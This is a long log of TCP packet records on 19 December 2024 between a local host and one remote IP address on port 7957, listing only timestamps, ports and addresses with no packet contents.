Dec 19, 2024 09:29:52.965069056 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.966092110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.966208935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.966257095 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.967186928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.967325926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.967382908 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.968318939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.968403101 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.968449116 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.969377995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.969501019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.969546080 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.970472097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.970587015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.970642090 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.971569061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.971615076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.971668005 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.972673893 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.972773075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.972817898 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.973793030 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.973850012 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.973897934 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.974844933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.974956989 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.975003004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.975919008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.976027966 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.976070881 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.977051973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.977154016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.977202892 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.978097916 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.978229046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.978274107 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.979207039 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.979650021 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.979703903 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.980376959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.980418921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.980465889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.981390953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.981513023 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.981558084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.982527018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.982728958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.982774973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.983578920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.983668089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.983716011 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.984687090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.984783888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.984828949 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.985769033 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.985852003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.985898018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.986854076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.986963034 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.987006903 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.988065958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.988189936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.988234997 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.989098072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.989161968 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.989207029 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.990120888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.990315914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.990362883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.991244078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.991621017 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.991666079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.992328882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.992448092 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.992489100 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.993413925 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.993532896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.993577003 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.994656086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.994771004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.994817019 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.995593071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.995697975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.995743036 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.996803999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.996943951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.996988058 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.997848988 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.997977972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.998029947 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.998863935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.999015093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:52.999058962 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:52.999973059 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.000179052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.000221014 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.001054049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.001214981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.001266003 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.002170086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.002285004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.002331018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.003264904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.003310919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.003364086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.004354954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.004432917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.004479885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.005471945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.005558968 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.005628109 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.006529093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.006655931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.006700993 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.007647038 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.007846117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.007905006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.008759022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.008841038 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.008882046 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.009819984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.009938002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.009983063 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.010931969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.010993004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.011038065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.012042999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.012140036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.012187004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.013107061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.013226032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.013277054 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.014235020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.014405966 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.014461994 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.015288115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.015396118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.015444040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.016376972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.016510963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.016556025 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.017539024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.017580032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.017628908 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.018640041 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.018706083 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.018752098 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.019620895 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.068017006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.154766083 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.154939890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.154978037 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.155603886 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.155616999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.155652046 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.156618118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.156733036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.156776905 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.157707930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.157838106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.157872915 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.158548117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.158649921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.158688068 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.159631968 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.159836054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.159883022 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.160748959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.160840034 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.160883904 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.161842108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.161933899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.161988020 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.162960052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.163064003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.163120031 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.164084911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.164110899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.164160967 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.165249109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.165292978 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.165479898 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.166214943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.166264057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.166311026 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.167309046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.167582035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.167629957 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.168436050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.168529034 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.168622017 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.169483900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.169603109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.169714928 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.170793056 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.170878887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.171686888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.171703100 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.171806097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.171852112 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.172780037 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.172836065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.173568010 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.173868895 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.174005985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.174082041 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.175137043 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.175257921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.175307035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.176094055 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.176264048 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.177148104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.177212954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.177295923 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.177370071 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.178329945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.178525925 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.179260969 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.179519892 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.179673910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.179738998 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.180465937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.180567980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.180608988 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.181550026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.181741953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.181793928 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.182615042 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.182708979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.182758093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.183711052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.183785915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.184343100 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.184914112 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.185008049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.185076952 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.186009884 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.186125994 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.186168909 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.186979055 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.187105894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.187155008 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.188147068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.188205957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.188260078 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.189244032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.189280987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.189433098 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.190263987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.190373898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.190424919 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.195868015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.195884943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.195897102 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.195908070 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.195982933 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.195982933 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.196007013 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196019888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196032047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196043015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196058035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196065903 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.196084023 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196129084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.196129084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.196837902 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.196983099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.197046995 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.197895050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.198004007 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.198520899 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.199157000 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.199179888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.199238062 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.200124979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.200140953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.200191021 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.201252937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.201339960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.201387882 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.202342033 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.202394962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.202521086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.203669071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.203685999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.203744888 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.204484940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.204658031 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.204752922 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.205595016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.205640078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.206367970 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.206701994 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.206716061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.207200050 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.207814932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.207882881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.207931995 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.208834887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.208976984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.209566116 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.210040092 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.210066080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.210174084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.211853981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.211904049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.211998940 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.212126017 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.257673025 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.346906900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.346949100 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.347369909 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.347440958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.347517014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.348092079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.348524094 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.348589897 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.349601984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.349657059 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.349692106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.350533009 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.350745916 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.350795984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.350866079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.351779938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.351903915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.352899075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.352950096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.353005886 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.353395939 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.353979111 CET	7957	49792	5.35.36.120	192.168.2.6
